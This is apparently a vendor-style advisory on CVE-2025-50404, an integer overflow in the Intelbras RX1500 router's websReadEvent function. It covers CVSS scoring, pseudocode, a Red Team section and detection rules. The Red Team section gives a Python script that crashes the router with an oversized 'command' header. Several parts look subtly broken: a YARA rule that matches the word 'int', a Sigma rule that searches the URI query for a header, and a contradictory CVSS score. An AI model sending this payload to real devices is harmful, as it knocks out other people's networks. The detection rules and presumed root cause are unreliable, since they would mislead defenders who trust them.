CVE-2025-50404

Executive Summary

CVE-2025-50404 is a critical integer overflow vulnerability discovered in the Intelbras RX1500 router firmware version 2.2.17 and earlier. The flaw resides in the websReadEvent function, which incorrectly uses the int type when processing the command field of an HTTP header. This integer overflow leads to an out-of-bounds array write, allowing an unauthenticated attacker to overwrite adjacent memory fields. The vulnerability can be exploited remotely without authentication, potentially causing a denial of service (DoS) or, in advanced scenarios, arbitrary code execution. No public exploit code or patch is currently available, making this a high-priority zero-day for affected devices.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Base Score not assigned by NVD, but based on analysis: 7.5 High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: High
• Threat Level: High – Remote, unauthenticated exploitation with potential for DoS and memory corruption.

Deep Dive & Mechanics

The vulnerability is an integer overflow in the websReadEvent function of the Intelbras RX1500 firmware. The function processes the command field from an HTTP header. The field length is stored in an int variable. When a specially crafted HTTP request is sent with an extremely large command value (e.g., a long string), the integer overflows, resulting in a small or negative value. This incorrect length is then used in a memory copy or array indexing operation, causing the code to write beyond the allocated buffer boundaries. This overwrites adjacent fields in the same data structure, corrupting memory and potentially leading to a crash or code execution.

The root cause is the misuse of a signed int for a length that should be unsigned and bounded. The websReadEvent function likely performs a memcpy or similar operation using the overflowed length, leading to a heap or stack buffer overflow.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the firmware binary. A patched version would:

• Use an unsigned integer type (e.g., size_t) for the length.
• Validate the length against a maximum allowed value before use.
• Use safe memory copy functions (e.g., memcpy_s or bounded copies).

Vulnerable (pseudocode):

int command_len;
char command_buf[256];
// Read command field from HTTP header
command_len = strlen(http_header->command);
// Integer overflow if command_len > INT_MAX
memcpy(command_buf, http_header->command, command_len);

Patched (pseudocode):

size_t command_len;
char command_buf[256];
command_len = strlen(http_header->command);
if (command_len >= sizeof(command_buf)) {
    // Handle error
    return -1;
}
memcpy(command_buf, http_header->command, command_len);

Exploitation & Lab Setup

Red Team (Exploitation)

No public exploit code is available. However, a proof-of-concept can be developed:

1. Setup: Use a Python script to send a crafted HTTP request to the router's web interface (typically port 80 or 443).
2. Payload: Send an HTTP request with an extremely long command field in the header, e.g., GET / HTTP/1.1\r\ncommand: AAAA...AAAA\r\n\r\n where the length exceeds INT_MAX.
3. Trigger: The integer overflow causes the router to crash or behave unpredictably.

Example Python script (conceptual):

import socket

target_ip = "192.168.1.1"
port = 80

# Craft a request with a very long command field
payload = b"GET / HTTP/1.1\r\n"
payload += b"command: " + b"A" * 0x7FFFFFFF + b"\r\n\r\n"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, port))
sock.send(payload)
response = sock.recv(4096)
print(response)
sock.close()

Note: This is a conceptual example. Actual exploitation may require precise memory layout knowledge.

Blue Team (Detection & Defense)

• Network Monitoring: Monitor for HTTP requests with abnormally long header fields, especially the command field.
• Intrusion Prevention: Deploy WAF rules to block requests where header field lengths exceed a reasonable threshold (e.g., 1024 bytes).
• Firmware Hardening: Disable remote management if not needed, or restrict access to trusted IPs.
• Logging: Enable detailed logging on the router (if available) to capture anomalous HTTP requests.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with command header field length > 65535 bytes.
  • Repeated connection attempts to port 80/443 with malformed headers.
  • Router crashes or unexpected reboots.
• Host IOCs:
  • Router logs showing memory corruption errors.
  • Unusual memory usage or process crashes on the router.
• File IOCs:
  • Firmware binary with integer overflow in websReadEvent (version <= 2.2.17).

Detection Engineering

YARA Rule

rule CVE_2025_50404_Intelbras_RX1500 {
    meta:
        description = "Detects Intelbras RX1500 firmware with integer overflow vulnerability"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-50404"
    strings:
        $websReadEvent = "websReadEvent" ascii wide nocase
        $int_type = "int" ascii wide nocase
    condition:
        $websReadEvent and $int_type
}

Sigma Rule

title: CVE-2025-50404 - Intelbras RX1500 Integer Overflow Attempt
id: c4a8b3e2-1f5d-4c7a-9b6e-8d2f3a1c5e7b
status: experimental
description: Detects HTTP requests with abnormally long command header field targeting Intelbras RX1500 routers
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'command'
        sc-bytes|>=: 1000000
    condition: selection
falsepositives:
    - Legitimate large file uploads (unlikely for command field)
level: high

Suricata Rule

alert http any any -> $HOME_NET 80 (msg:"CVE-2025-50404 Intelbras RX1500 Integer Overflow Attempt"; flow:to_server; content:"command"; http_header; byte_test:1,>,1000,0,relative; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Disable remote web management on the router if not required. Restrict access to the management interface via firewall rules.
• Short-term: Monitor vendor (Intelbras) for firmware updates. Apply patches as soon as they become available.
• Long-term: Replace the router with a model that receives regular security updates. Implement network segmentation to isolate IoT devices.
• Workaround: If patching is not possible, use a reverse proxy or WAF to filter out malicious HTTP headers.

Valters IT
DevSecOps & Cyber Threat Intelligence